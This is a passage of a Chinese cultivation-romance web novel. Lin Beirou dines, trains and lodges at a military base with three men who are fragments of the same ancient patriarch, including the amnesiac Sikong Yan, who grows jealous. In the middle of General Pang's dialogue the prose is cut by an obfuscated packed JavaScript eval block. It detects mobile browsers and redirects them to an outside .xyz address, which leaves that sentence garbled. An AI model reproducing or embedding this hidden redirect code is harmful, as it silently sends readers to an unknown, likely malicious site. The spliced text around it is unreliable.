林北柔:“…………” 林北柔:“………………” 啊啊啊啊啊—————— 她猛地坐了起来,大口大口喘息,像做了个恐怖的噩梦,目光慌乱地落在床单上,不知道该看哪里。 床边坐着一个人。 林北柔看清了对方正脸朝她这边,枕在交叠的手臂上,睡着了。 她瞬间屏住呼吸,梦里见到过的脸,睁眼就在现实看见,会给人精神造成极强的倒错和冲击感。 会模糊梦境和现实的边界。 荀照乘。照乘。 无名兵修。凡身的司空晏。钓鱼的少年。被屠村。一夜之间失去家人。 在大火中存活,踏入道途,成为青年兵修,却转身被宗主出卖,被太乙天都掌门当成炼材投入炼丹炉。 之后在丹炉中元神进阶,躯体异化,屠杀了宗主和掌门。 再之后,估计就是一步步进化成太乙老祖司空晏了。 林北柔盯着荀照乘看,目光无法从他脸上移开。 她现在百分百确定,荀照乘就是另一个过去的司空晏。 照乘,皎洁沉泉水,荧煌照乘珠。仙珠照乘归,宝月重轮映。 这就是祖宗的真名。 然后,昨天发生的事情自然而然回到了林北柔脑海里,让她心脏瞬间不稳,呼吸困难,怪不得她做了那么长的梦,司空晏回来了,以魏瑕的身份。 但是……他好像什么都不记得了? 想到了这一点,林北柔呼吸畅通了一丢丢。 任何人都不可能伤到祖宗,祖宗要是失忆,那只可能是他自己走火入魔或者又干嘛了。 像是感觉到了她情绪的大起大落,荀照乘不期然睁开了眼睛。 林北柔:“……” 荀照乘就像没有真的睡着一样,刚睁开眼睛,眼睛就是聚焦状态,笔直落在她脸上,看见她醒了,他自然而然抬起头,直起身体,手放了下来,恢复成军士修行者该有的坐姿,放松但是不软塌。 “你感觉怎么样?你之前又晕过去了,使用天赋过度。”荀照乘看着她说。 林北柔张了张口,想说自己没事,说出来的话却变成了:“魏瑕呢?” “……他去见总司令了。” 不知道是不是错觉,荀照乘的目光幽暗了一点。 但下一秒,那对深棕眼瞳又恢复正常。 林北柔吞了吞喉咙,尽管嗓子干得很。 她在胜身洲喜欢收藏各种灵石灵玉,眼下她忽然发现了,司空晏的眼睛黑魆魆的,像翳珀,那种最昂贵的黑琥珀,如果有光源,就像星光透辉石,浮漾着暗海的流光。 荀照乘的眼睛,如同最浓郁的琥珀,一片蜜金荒漠,不知道是不是他过去悲惨的经历让林北柔产生了心理暗示,有时候,总给人以里面藏着火光的错觉,被红色光源照亮,会变成血珀。 林北柔:“啊,这样啊。” 荀照乘起身去给她倒了一杯水,林北柔接过水杯,不知不觉把一杯水都喝光了,然后她后知后觉想解手。 荀照乘在她开口前,就觉察出了她的意图,让开位置,伸出一只手,林北柔犹豫了下,扶住他的手下了床。 事实证明荀照乘扶她是对的,她膝盖很软,脚像踩在棉花上一样,荀照乘带她去了隔壁卫浴间,替她关上门。 林北柔清理了一番,洗了个脸,还洗了手,她还是穿着之前的亚麻上衣和下装,不过外面的作战服和装备都被脱掉了,不知道是医护帮她脱的,还是荀照乘。 林北柔直觉感觉是后者。 出来后,林北柔问:“荀少校……现在几点了?” “你睡了几个小时了,现在是晚上九点。” 荀照乘示意她跟他走,林北柔一路跟着荀照乘,直到回了天驷寮,结果在大门关上之前,一道声音在后方响起。 “林北柔!”语气匆忙而有股熟悉的专注力,一点不掩饰担忧。 林北柔转身:“诶,新垣少校……” 新垣鑫提着一个不锈钢多层保温盒,几大步就来到他们面前,林北柔让开了路,新垣鑫很自然地走了进来,荀照乘没说什么,只是在最后面关上门。 新垣鑫:“你一直睡觉,没吃晚饭,我把晚饭给你带来了。” 林北柔:“谢谢新垣少校。”话说完,她才发现肚子饿了。 新垣鑫把保温盒放到了餐桌上,看到餐桌上还有一个不锈钢保温饭盒,上面写了字条,字条上是菜名。 林北柔:“这是什么,怎么还有一顿?” 荀照乘开口:“我给食堂打电话,让他们送来的。” 林北柔:“……” 气氛瞬间微妙,新垣鑫和荀照乘都看着她,林北柔抢先开口:“谢谢荀少校,我刚好饿了,你们吃饭了吗,一起吃吧?” 荀照乘和新垣鑫任务完成后忙到现在,确实没来得及吃饭。 两分钟后,三个人坐在餐桌前,两个保温盒里面的饭菜都被端了出来,摆在桌上,公筷公勺整齐,三人各自端着一碗米饭用餐。 桌子是长方形的,林北柔坐在主位上,左右两边分别是荀照乘和新垣鑫。 没人交谈,气氛安静,没有电视机,没有手机视频当背景白噪音。 林北柔:“……” 这种尴尬的气氛是怎么回事啊!!!! 林北柔瞳孔地震,只能装作很饿的样子,根本不敢抬头看。 荀照乘和新垣鑫,都各自把面罩推上去最小的角度,只露出下巴和嘴唇,足够进食即可。 要是之前,林北柔肯定会好奇地盯着。 她现在一点兴致都没有。 她早就在梦里把他们的脸看了无数遍了。 平心而论,两个人都很帅,不对,是大帅哥,但他们本质上都是司空晏本人。 ……简直就是噩梦成真。 林北柔试图不去想,一旦这两个人恢复真正的记忆,想起自己真正的身份,那时会是什么场面。 “你怎么吃这么少,没胃口吗。”新垣鑫把一碗嫩嫩的豉汁羊肉往她面前推。 荀照乘把一碗炒时蔬放到她面前:“吃点菜。” 林北柔:“……” 林北柔心虚气短,有些虚弱地说:“我没事,我就是有点累。” 根本不累,她是吓的。 新垣鑫:“你的耐力真是太差了。” 荀照乘破天荒也开了口:“训练体力消耗很大,进入禁区更消耗体力。” 新垣鑫严肃点头:“你太瘦了,需要营养。” 林北柔震惊,这辈子还从来没人说她太瘦过,她体型匀称,屁股和大腿根都软弹软弹,表姐不止一次说她脸看着小,腰也小,怎么腿根捏着肉肉的。 林北柔:“我?我瘦?” 新垣鑫皱眉:“你当然瘦了,我单只手就能把你扛起来。” 林北柔不可思议转向荀照乘,似乎想要寻求他的意见。 荀照乘什么都没说,只是伸出手臂,在林北柔的手臂旁边比了比。 林北柔:“……” 荀照乘缓缓开口:“我可以徒手把你手腕掰折。” 荀照乘强壮的手臂,近乎是她的两倍,怪不得整个人看着都肩宽背阔。 新垣鑫总结:“多吃肉和菜,喝牛奶,每天早上吃个鸡蛋。” 他们两个都是体格非常高大的类型,和她存在明显的体型差,可以单手就将她抱过头顶,对他们而言,林北柔实打实算得上娇小轻盈。 林北柔默不作声闷头吃菜,一直没有抬头,生怕和其中一个有目光接触。 只要她和其中一个视线接触,另一个就会看着她。 现在,她完全确定了。 荀照乘就是无名兵修,新垣鑫就是那个武修。 前者是祖宗从凡人成长起来的前身,后者是祖宗剔除了所有阴暗创伤记忆后的自我。 一切的一切,都要追溯于她当初沉迷话本,还赌气似的跟祖宗喊了句“我就喜欢好人,不喜欢你这种坏人”,导致祖宗发疯把自己元神分体给炼化了不止一个。 最头痛的是,现在原本的司空晏也在。 这三个凑在一起,简直无法想象。 偏偏这就是即将发生的现实。 林北柔希望自己能晕过去,什么都不用管,可是她是个成年人,还是被赋予天命的四号,只能扛起责任。 林北柔吃完饭,急急地起身:“我,我去洗碗。” 荀照乘牵住了她的袖子,示意她不用:“待会庞将军要你去见她,她在等你。” 林北柔注意力转移:“……” 对了,她之前告诉过庞将军,三号跟她说了话,庞将军肯定会当面问她细节。 新垣鑫:“我来洗碗,你先带林北柔去。” 林北柔一点也不想过去,她只能眼巴巴地回头看向收拾了保温盒走向洗碗机的新垣鑫。 不管是司空晏还是魏瑕还是荀照乘,他们都给她一种莫可名状的压力。 新垣鑫没有,他是唯一例外。确实是阳间版晴天祖宗。 新垣鑫对上林北柔目光,以为林北柔紧张了:“庞将军是好人,你别怕。” 荀照乘无声推开了大门,帮她抵着门等着,林北柔只好出去了。 路上,林北柔想起来了:“荀少校,你身上伤没事吧。” 荀照乘换了身新的常规训练服,脱了装备,看不出异样了,不过依然带着面罩。 荀照乘:“没事。” 他们转过走廊,前方就是庞将军的办公室,但办公室外站着一个林北柔意想不到的人。 眼睛先看见他身影,脑子还没反应过来,全身细胞已经叫嚣着要逃离。 司空晏。 现在名义上是魏瑕,头发不知道为什么变得很长,几乎和在胜身洲时一模一样,他潦草地束了个低马尾,依然很多绺头发不听话地跑出来,散落在背上,眉眼阴柔如云翳,他也穿了一件常规训练服,和荀照乘一样。 如果不看脸和气质,光看背影,他们实在有点难以分辨。 刹那间,画面一下子回到林北柔脑海,在她失去意识之前,她靠在荀照乘身上,隔着一段距离站着司空晏,他看着她,就像看着镜子里的另一个自己抱着属于他的东西。 那些胜身洲的梦境让林北柔想起来了,她打破了对司空晏的承诺。 她离开了他,背叛了他。 就像过去那些曾经伤害过他的人一样。 那些人与他关系也不算深,但她不一样。 司空晏对她付出了全部信任和爱意,在她无路可走的时候,给她提供了一个安全的避难所,里面有超乎她需求的一切,食物,温暖,精神和物质的双重享受。 林北柔脚步像灌了铅一样,巨大压迫抵住她膝盖,不到半步就停住了。 办公室的门半开着,魏瑕正在和一个看上去像文职高层的人说话,他的正侧脸无可挑剔,线条冷漠流畅,眼睫在光线下形成一个柔和的弯弧,林北柔能听见他的声音,但听不见他在说什么。 “怎么了?”耳旁传来荀照乘的声音,语气稳定,打破了林北柔的恐惧。 林北柔无意间直接向荀照乘靠拢,就像猎物在躲避猎手时,藏身于大树之后,她吞了吞喉咙,用纯粹的气声问:“魏瑕怎么在这里……” 荀照乘:“他从总司令办公室出来了,庞将军要一起见你们。” 林北柔抬手就抓住了荀照乘的袖子,在自己都还没反应过来之前,脱口而出:“不要……少校你陪我一起行不行。” 这句话说出来她就后悔了,这非常不像她,但荀照乘没有抽回手,反而望着她,目光并不是普通地看着,而是带着一种注意力集中的关切。 荀照乘:“你很怕他?他对你做过什么?” 林北柔猝不及防,这才意识到荀照乘身为一个训练有素又长期前线作战的军士修行者,他的观察该有多敏锐。 林北柔不能也不敢回答这个问题:“没,就是吧,魏总以前是我上司,他,他……” 她词穷了。 荀照乘:“不用紧张,在基地,你就是注册在籍的军士修行者,你和他的地位平等,我是你的总教官,他想对你说什么做什么,必须先经过我,我不会让他威胁到你。” 林北柔紧张毛刺的神经被缓慢地安抚了,随着他的话,逐渐顺伏。 荀照乘给了她极强的支撑和镇定感。 ……祖宗在没有变成疯批之前,真的很稳定很靠谱。 荀照乘:“还有,医生给他做了个检查,他应该是失忆了,不管你之前和他有什么私人矛盾,他不会记得。” 林北柔不知道听到这个消息该作何感想,她形容不出胸口缓慢溢出的感觉。 林北柔:“他有说他是怎么失忆的吗?” 荀照乘:“医生觉得他有人格分裂倾向,猜测是体内另一个人格导致的,医生引导不出这个人格,建议他做深层催眠检查,他拒绝了。” 道心本相。林北柔脑海中出现的第一个念头。道心本相不是人格分裂,他是司空晏元神自在境里的另一个自己,无情无欲,一心修炼。司空晏有七情六欲,五蕴六尘,道心本相是没有的。 ……为什么道心本相要让司空晏失忆?他在在意什么? 正当她怔忡,司空晏转过了脸,目光投向她,落在了她身上。 林北柔僵住了。 没有伪装,没有阻隔,他看着她,她的手还抓着荀照乘的袖子,小半个身体不由自主往荀照乘身后缩。 没事的,他不记得你了。林北柔强迫自己冷静。 司空晏对面的文职高层也看到了林北柔和荀照乘,他向他们打了个手势,示意他们直接过来。 荀照乘的手按上林北柔的肩膀,是保障也是催促,轻轻把她向前一堆,带着她过去了。 距离拉近,司空晏离她越来越近,其存在感过于强烈,超过了她的神经承受极限。 林北柔不由自主垂下眼,还没到几步就不敢再看。 想起了元神分化这回事,她就意识到了眼前的司空晏,是原原本本最阴暗的那个,他不会宽恕,也不会原谅。 ……换成是荀照乘还有可能,不,最可能的应该是新垣鑫。 当林北柔经过办公室门口,那个文职高层都退开了给他们让出空间,司空晏却没有。 他站在原地,一直盯着林北柔。 林北柔脸上最微小的寒毛都起来了,清晰无比地感觉到目光的重量和温度。 好在荀照乘挡在她另一边,隔开了司空晏的视线。 荀照乘也没有和名义上是魏瑕以前是他队友的司空晏打招呼,直接带着林北柔进了办公室。 庞将军站在窗前,转身望着他们:“都坐,魏瑕,你也留下。” 文职高层走之前,帮他们把办公室的大门关上了。 办公室很大,窗户敞亮,可以望见外面一望无垠的风景,天是全黑的,星辰在天空闪耀。 庞将军让他们在沙发组合上坐下了,自己也坐在了主位。 林北柔和荀照乘坐在了一边,对面就是司空晏。 庞将军:“四号的境界突破,就交给你了,在进禁区之前,四号必须和灵脉完成共鸣。” 林北柔耳朵里血液奔流,轰轰鸣响。 司空晏在她对面响起:“四号?就是这个……嗯,恕我直言,你看上去连基地最弱的后勤都打不过。” 林北柔条件反射抬起眼睛,司空晏目光和她接触,林北柔像烫到了一样垂下睫毛,胸口涌上恼火的情绪之外,还有一种奇怪的感觉,司空晏看她的目光,就像他第一次见到她时一样,就像在看一只闯入他地盘的小飞蛾,没有杀意,连伸手摁死的欲望都没有,反而有一丝探究的好奇。 就是这一丝好奇,开启了一切。 林北柔一句话都没有说。 庞将军以为她是在难过魏瑕失忆忘了她,将话题导回正事:“一号,明天起,四号的训练日程会调整,由你和荀照乘共同担任她的教官,体术和近身格斗就交给新垣鑫。” 司空晏没说什么,似乎是接受了安排,他的目光落在林北柔和荀照乘之间,他们坐得很近,林北柔稍微动一下就可以碰到荀照乘的胳膊。 庞将军:“林北柔,三号对你说了什么,你认真回忆一下,从头到尾复述一遍。” 林北柔深吸口气,照做了。 除了一件事没有说,三号也是穿越者,他也去过其他位面,并且很可能在那边待了比林北柔更长的时间。 林北柔最后只说:“……总之,他的实力可能被低估了。” 庞将军沉思:“他希望你进入底层心识世界,帮他找到他的亲人,但底层心识世界如此庞大,除非和灵脉共鸣,否则你办不到。” 林北柔:“帮他找到亲人,我们可以跟他谈条件吗?” 庞将军摇摇头,实事求是地说:“没有把握的假设,暂时不用管了,应劫派神子璞罗都,预言书上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14062343|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的贪暴者,战争和动乱的象征,二号的天赋能克制他,可惜二号被刺杀了,还有一个很不幸的坏消息,昨天刚刚被证实。” 她抬头望向他们,平静地说:“敌对势力成功抓捕了潜逃隐匿的七号和九号,以后,他们将为应劫派效力,现在敌方有三名编号者,全部是适应战场的进攻型,作战经验也很成熟,我们这边,也有三名,但五号并非进攻型,而四号没有任何战场经验,所以四号的境界必须突破,我们的战略部署有好几套方案,包括你突破失败的,但是我们不希望事情那样发展,你明白吗。” 林北柔顿时压力山大。 肩上的责任,还有和司空晏即将日常相处的压力,双重袭来。 她只能僵硬地点了点头。 幸好,庞将军转向了另一个话题:“魏瑕,不止境内,境外也出现了大量伪印,它们储存了巨大的污染,但不知道这些污染最终去了哪里,虽然我认为这件事与你无关,但高层还是有人在怀疑你。” 司空晏:“怀疑我什么?” 庞将军:“四号的天赋是控制污染,你当时又保管着能吸纳储存污染的无量印,他们认为这是你的计划,你想培植四号成为你的私人工具,” 司空晏语气出现了一丝阴翳:“他们怀疑我,然后呢?” 林北柔要窒息了。 其他人不知道,但这是她最熟悉的阴间祖宗的语调。 魏瑕平时肯定不会这样说话,果然,庞将军蹙了蹙眉。 庞将军:“他们想要加重你身上的封印,这很麻烦。” 林北柔:“……”她产生了一股极其不妙的预感。 司空晏:“我身上没有封印。” 庞将军:“……” 她静了两秒,然后就像没听清一样,语气迟疑:“你说什么?” 司空晏近乎随和地说:“我身上没有封印,他们怀疑我,然后呢?” 他语气礼貌,表情也很礼貌,但在那层薄板一样的耐心装饰之下,是森寒阴鸷的本质。 林北柔知道,以前魏瑕和组织之所以维持了微妙的平衡,就是因为组织在魏瑕小的时候,就给他加了一道封印。 据周阆屿说,价值七千个亿。 现在七千个亿没了。 司空晏就这样轻描淡写的,把魏瑕从来没有提起的阳谋,一下子捅破到所有人面前。 二十多年的平衡被打破,天秤彻底向司空晏那边倾斜。 很难形容庞将军此时脸上的表情。 有那么一刹那,林北柔觉得能看见庞将军的大脑像钟表齿轮一样运转,衡量每个利益节点。 下一秒,就在林北柔感觉庞将军要叫基地守卫包围办公室时,庞将军不再年轻的嘴角松弛了下来。 庞将军:“这件事我会报告给总司令,之后他怎么做,我不知道。” 她选择了抽身旁观。 空气中酝酿的警报被解除了,气氛再度变得正常。 司空晏:“你们的总司令会知道怎么做的。” 你们的。 林北柔敏感地注意到了他的用词。 ……被无缘无故施加了二十多年封印,想也知道凭祖宗的本性会怎么反应。 要不是敌方势力得罪祖宗太狠,林北柔觉得祖宗根本不会在意现世这一切,对他而言,这些都是灰尘砂砾,凡人的纷争他根本不会多看一眼。 整个世界被烧光变成一把灰扬了,他估计都懒得抬一下眼皮。 室内明明有空调,一滴汗珠却划过了她后背,林北柔意识到了一个问题。 庞将军没有回答,她想到的是魏瑕作为一号,他身上没有了封印,组织也就失去了和他对等谈判的条件。 更何况接下去在禁区,他们还要依赖他。 庞将军接下去公事公办说了些其他的,谈话就结束了。 林北柔迫不及待第一个出了办公室,贴墙等着荀照乘。 庞将军把荀照乘留了下来,要嘱咐他几件事。 司空晏缓缓走了出来,看向林北柔。 “你。” 林北柔瞬间控制不住打了个寒噤,僵硬抬头。 司空晏的目光幽幽沉沉,若有所思,他走到她面前,高大的身影像一座塔,将她笼罩在塔影下。 司空晏:“我是不是在胜身洲哪里见过你?” 林北柔浑身血液都冻住了,然后变得滚烫沸腾,往脸上冲去。 果然,他记得自己是太乙老祖,记得魏瑕的成长轨迹,只是把和她有关的一切剔除了而已。 是道心本相,想忘记她。 林北柔脸上僵硬无比:“……我不知道你在说什么。” 司空晏抱臂盯着她,嘴角扬起两个像素格,笑意没有抵达瞳孔:“你刚才看我的样子,和太乙天都那些弟子一模一样。” 林北柔:“我,我没有看你。” 司空晏:“正是如此。” 他声音轻柔,像一团出岫的轻云笼罩了她,云里有种滴水成冰的阴寒,他在怀疑她。 如果她说谎,或者回避问题,林北柔丝毫不怀疑司空晏会找机会对她下手。 他现在是一号,她是四号,他还会亲自手把手教她,要下手的机会全天候都是。 林北柔深吸口气,努力平缓呼吸:“……我是你的治疗师。” 司空晏抬起眉毛:“治疗师?” 林北柔开始了求生欲极强的胡诌:“我是杏林谷的医修,你找到我帮你疏导元神心府不稳导致的热痛,不知道怎么回事,反正我们一起回到这个地方了。” 司空晏眯了眯眼。 显然林北柔赌对了,她胸口感觉没那么闷了。 司空晏:“是吗,原来你是杏林谷的医修啊。” 林北柔点头,虽然心跳还是很快,但恢复了大半冷静。 司空晏凉飕飕地说:“我确实有点元神不稳,你今天晚上就帮我疏导一下。” 他想测试她,看她是不是在说谎。 林北柔:“今天晚上会不会太晚了,我累了,荀少校要送我回宿舍……” 司空晏:“Alpha基地给编号者提供的宿舍,只有天驷寮。” 林北柔:“……”想起来了,天驷寮就是以前魏瑕住的地方。 天驷寮实际上是一个宿舍,客厅和厨房共用,其他有六个空房间,每个房间都隔离很好,有单独卫浴。 林北柔住的是第四个房间。 按照规矩,庞将军也不会让魏瑕去别的地方乱住。 毕竟天驷寮是专门为了管控编号者建造的。 就在她语塞时,荀照乘出来了。 他一出来,就看到司空晏把林北柔逼到墙角,虽然没有对她做什么,林北柔一动也不敢动,像只被掠食者盯视的兔子。 荀照乘:“林北柔。” 林北柔听见这个声音就如蒙大赦,表情变化一丝不漏地落入司空晏眼中。 林北柔:“荀少校!” 她趁机贴墙往旁边移动,飞快摆脱了司空晏的压迫感,荀照乘几大步就到了她面前,瞥了司空晏一眼:“他和你说什么?” 林北柔:“没、没什么,在问失忆之前的事。” 荀照乘点点头,没说话,手按上她的肩膀,直接把她往外面带。 司空晏不紧不慢地跟在后面,林北柔后背都能感觉到他阴嗖嗖的视线,简直如芒在背。 直到他们同时回了宿舍,站在大门前,林北柔看看荀照乘,又用余光看看身后侧方的司空晏。 什么情况啊这是?! 荀照乘脸色如常地按开了大门,让林北柔先进去,自己也进去了。 然后司空晏也跟了进来。 林北柔再也忍不住了:“等等,魏总……” 荀照乘:“基地不用那个称呼,你叫他魏瑕就行。” 林北柔:“魏瑕真的要住这里?” 荀照乘:“不用担心,庞将军让我和新垣鑫也暂时住这边。” 林北柔:“……” 林北柔:“……啊?!” 荀照乘往里面走,果然,新垣鑫还在,他坐在厨房的大桌子边,正在用平板电脑处理个人事务,听到动静,抬头看到了他们,很自然地关上电脑,旋即起身。 新垣鑫:“魏瑕,你回来了?林北柔,你的制服做好了,刚刚才送过来,在沙发上,待会你试试合不合身。” 林北柔:“……” 一个空间里,突然满满当当容纳了三个祖宗,林北柔感觉自己呼气多进气少,要奄奄一息了。 79. 第 79 章 庞将军想的很周到。 司空晏直接挑明了他现在身上没有封印,庞将军为了以防万一,让荀照乘和新垣鑫也搬进了天驷寮。 主要任务是看护好林北柔,避免魏瑕做出一些不当行为。 林北柔:“……” 她简直想冲回去抱住庞将军喊一声妈妈。 现在她的房间是这样的,左边是荀照乘,右边是新垣鑫。 而和荀照乘隔了一个空房间的房间,才是司空晏。 就算司空晏想过来找她,敲她门,荀照乘和新垣鑫马上就会觉察。 刚才,林北柔说自己太困了,拿了装制服的两包沉甸甸大袋子就溜回房间了,留下三个大男人在客厅。 房间的墙壁和门都很厚重,并且是实心的,隔音完善,一关上门,就什么动静也听不到了。 林北柔把制服拿出来放到床上,拆开防尘袋,一件一件试穿。 是按她尺寸定做的,很合身,有四套可以换穿的打底衣裤,都是用不会让她过敏的特殊材料缝制。 还有穿在里面的高领衫,衬衫,内衣内裤,袜子等等,也都是特殊材料做的。 还有四双鞋子。 一个包装完整的盒子,林北柔打开了,里面是崭新的身份标识牌。 林北柔记得荀照乘也有,她拿起来看,不知道是不是因为是编号者,她的标识牌比荀照乘的特殊一点,链子不是圆珠,是龙骨链样式,抗爆破耐高温的金属也不太一样,颜色更深。 林北柔,LINBEIROU,A型。后面是一串她看不懂的保障编号。底部是北斗七星标志。 编号下方,北斗七星上方,空白处,有一个阿拉伯数字4。 简简单单,朴素低调,却彻底将她和其他军士修行者区分开。 林北柔能想象,魏瑕的标识牌上,肯定也有一个数字1。 盒子里面还有一张小卡,上面写着简单的使用说明。 林北柔把盒子放到一边,试着把标识牌戴到了脖子上,长链子很轻松环过脖子,主牌和副牌挂在胸口正中。 另外一个更大的盒子里面,装着属于她的通讯终端,还有使用说明。 林北柔花了半个小时时间研究,睡觉前都在玩。 她发现她的通讯录自带系统,里面按基地不同部门,自动录入了很多相关联系人。 但只有少数人她认识。 林北柔把荀照乘和新垣鑫的联系方式放到了标星号的收藏那一组,然后是庞将军。 她犹豫了下,把司空晏的联系方式也拖了进去。 一夜乱七八糟的长梦。 梦到司空晏变得无比高大,她变得特别小,司空晏把她当成了毛巾卷,在身上揉来搓去。 “不是要给我治疗吗?来我元神里治疗吧。”祖宗阴凄凄地说。 第二天清早,林北柔醒了,眼底挂着淡淡的青黑眼圈。 她洗漱完换好衣服,用跟工作人员学的手法扎好了水蛇辫,这次把辫子盘起来,戴了帽子挡住,轻手轻脚,鬼鬼祟祟地经过走廊。 司空晏的房间异常安静,不知道是不是还没醒。 去了客厅,林北柔就看到新垣鑫衣冠齐整,坐在桌子边,面罩也戴好了,听到她脚步声,抬起头,眼神清醒有神,意态是放松的:“醒这么早?走,去食堂吃早饭。” 林北柔:“不等荀少校吗。”她自动忽略司空晏。 新垣鑫眼皮搭下来一点,用一种“你是中学生吗”的无言表情望着她:“谁先早起谁就快点去食堂,快点,荀照乘早上有早会,待会在训练场跟我们碰头。” 林北柔巴不得快点走,跟新垣鑫一路到了食堂,今天食堂人特别多,空位很少,新垣鑫带她排队,教她用副牌刷卡取餐,新垣鑫的口味显然很传统,林北柔跟着他拿了豆浆包子油条茶叶蛋。 新垣鑫:“哦,这儿有个空位,坐,魏瑕,你今天起这么早?” 林北柔还没来得及反应过来,就脑海一片空白,被新垣鑫直接推进里面那个位置,僵硬坐下了,新垣鑫坐到了她旁边,林北柔正对面就是司空晏。 司空晏面前只有一碗蒸鸡蛋和一碗清粥,连一点肉腥都没有,他甚至还是用勺子吃的,这和他的外形太不搭调了,新垣鑫明显有点困惑,明显这不是魏瑕过去的习惯。 林北柔额头悄悄流下一滴冷汗。 幸好,新垣鑫不是爱管闲事的性格,他干脆利落又安静地开始用餐。 司空晏只是抬头看了看新垣鑫,算是对他招呼的回忆,然后,目光就落在了林北柔脸上。 带着明显轻微的乐趣,只有林北柔才知道的兴致。 她给自己编了个假身份,算是把自己套死了,阴间祖宗肯定在想自己什么时候带了个杏林谷医修回去。 或许他知道她在说谎,他不慌不忙,等着她自己露馅,他好戳穿她肥皂泡一样的谎言,等着看她反应。 林北柔心神不定,在祖宗面前吃饭真是压力山大,她勉强喝了点豆浆,吃了半根油条,就把茶叶蛋推开了。 新垣鑫皱眉:“你得吃个鸡蛋。” 林北柔:“我不……” 新垣鑫直接拿起茶叶蛋,敲了敲,轻易剥开了本就松脆脱离的褐色网纹蛋壳,留了下面的蛋壳,然后递给林北柔,让她自己拿着。 林北柔表情不情不愿接了过去,嘴上乖乖道谢:“谢谢新垣少校……” 新垣鑫:“挑食。” 茶叶蛋比林北柔想象的好吃,浸满了茶香,但并不老,蛋白弹软,蛋黄很嫩,咸鲜美味。 林北柔:“……还有豆浆吗?” 吃太快,噎着了。 新垣鑫正要起身去给她接一杯,司空晏把他那杯没碰过的豆浆推了过来。 林北柔一边拍拍胸口一边小声说:“谢谢……” 新垣鑫在旁边警告:“等噎着的劲儿过去了再喝,不然会更噎。” 林北柔照做了,果然松快了不少,咕嘟咕嘟喝着豆浆,都怪阴间祖宗在对面,害她过于紧张。 新垣鑫把手伸到她背后,帮她拍了拍,力道不重,他好像将她当成了一个很需要照顾的小孩儿,林北柔不太确定地想,不过新垣鑫并没有任何高姿态,他做得甚至比林北柔的亲哥周阆屿还更自然, 司空晏一直看着他们。 他胸口涌上了非常奇怪而微妙的感觉,这让他颦蹙了眉毛,歪了歪脑袋。 ……缓慢,黏稠,发酵,灼烧的酸意,顺着肋骨蔓延,侵蚀到五脏六腑。 司空晏沉浸在这种从未体验过的情绪中,眼睛一错不错地盯着林北柔。 他在试图抽丝剥茧,理出这一团混沌的情绪究竟是什么。 有一点司空晏明白了。 他不喜欢看到林北柔旁边有别人,而那个别人还和她很熟悉地互动。 他一点都不喜欢。 司空晏眼帘半阖,目光落在新垣鑫拍抚林北柔背部的手上,林北柔接纳了他的动作,十分自然。 林北柔在新垣鑫面前似乎完全不设防。 而昨天,她在他身躯投下的阴影里,近乎僵硬,眼神闪避。 两者的对比让那种情绪激烈地搅动,好像突然有一条毒蛇从泥沼中昂首。 ……想把这幕场景撕碎,想把林北柔旁边的别人撕碎。 危危危!!! 林北柔后脖子上寒毛倒竖,本能提醒她抬头。 就在这时,两个军士修行者路过,其中一个林北柔见过,第一天来基地新垣鑫带她去宿舍,在电梯遇到的那个叫吴烁的人。 吴烁:“哟,新垣少校,带你女朋友约会啊?” 新垣鑫:“闭上你的狗嘴。” 吴烁说完这句话才看到司空晏,他脸色微微一变,成为一种客客气气的表情。 司空晏的目光落在他脸上。 吴烁后背生生打了个寒噤。 不知道为什么,面前的魏瑕给他一种陌生的感觉,压迫感更强了,好像内核发生了某种不可逆转的改变。 难道这家伙境界又提升了? 吴烁迅速礼貌地跟林北柔打了声招呼,加快脚步走开了。 新垣鑫没发现任何异常:“吃完了?去训练场。” 今天的训练场和他们之前去的不一样,是单独的,更大,除了他们,就只有两个负责操作的工作人员。 稍作休息,让林北柔消化了会儿早饭,新垣鑫带林北柔做了些热身动作,然后练了一个半小时的射击和走位。 司空晏一直坐在休息区看着,林北柔一开始压力有点大,后来练着练着,就忘了祖宗在后面了,聚精会神跟着新垣鑫练习,不得不说,新垣鑫是个很好的教官,做得不对会直说,做得好会鼓励。 但是她感觉自己肩膀和胳膊酸痛死了。 林北柔不得不喊停:“新垣少校,我想休息。” 新垣鑫:“刚刚不是才休息过,怎么又要休息。” “我手好酸,这种狙击法器太沉了……”林北柔一脸眼神死,已经死猪不怕开水烫了。 新垣鑫扶额:“你真的,算了,那你先休息会儿。” “谢谢少校。” 林北柔迫不及待几步过去瘫在了折叠椅上,头盔摘了,手套脱了,前额稍微汗湿了点,她也不管,把掉下来的水蛇辫甩到背后。 新垣鑫:“……” 新垣鑫:“你给我有点坐相!拿餐巾纸擦擦脸。” 新垣鑫看了看表:“荀照乘怎么还没来?今天上午本来该他带你的,又让我打白工是吧。” 他咕哝了一句,顺便递了一瓶矿泉水给林北柔。 林北柔拧开瓶盖,拧不开,又大力想拧开,拧不开。 林北柔震惊了,她握力明明可以啊,这是怎么回事。 林北柔不信邪,拿起衣服下摆裹住矿泉水瓶盖,一脸狰狞要血战到底。 失败。 林北柔左右四顾,看到近身武器架上有各种匕首,眼前一亮,起身要过去拿。 新垣鑫终于看不下去了:“好了,坐着,给我,别等下把你自己手指头削了。” 林北柔一脸纠结地把瓶子递给了新垣鑫:“我握力也不小啊……体测测过的。” 新垣鑫嘲笑:“还在信力气小就拧不开瓶盖就很丢人那套吗,这是机器生产的,偶尔一两个扭矩数值过大,你自然拧不开,还有你忘了戴手套增加摩擦力了。” 他接过矿泉水瓶,试了试,果然这瓶拧不开,新垣鑫调整角度,用了点技巧,一拧即开。 林北柔:“谢谢少校。” 接过去仰起脖子咕嘟咕嘟开始喝水。 司空晏幽幽地注视着,谁也看不懂他现在的表情,看不懂他究竟在想什么。 连他自己都不知道,为什么仅仅是看着林北柔和新垣鑫进行最普通的互动,他的情绪和呼吸就像不受控的海潮一样,被引力牵引,阴戾而汹涌。 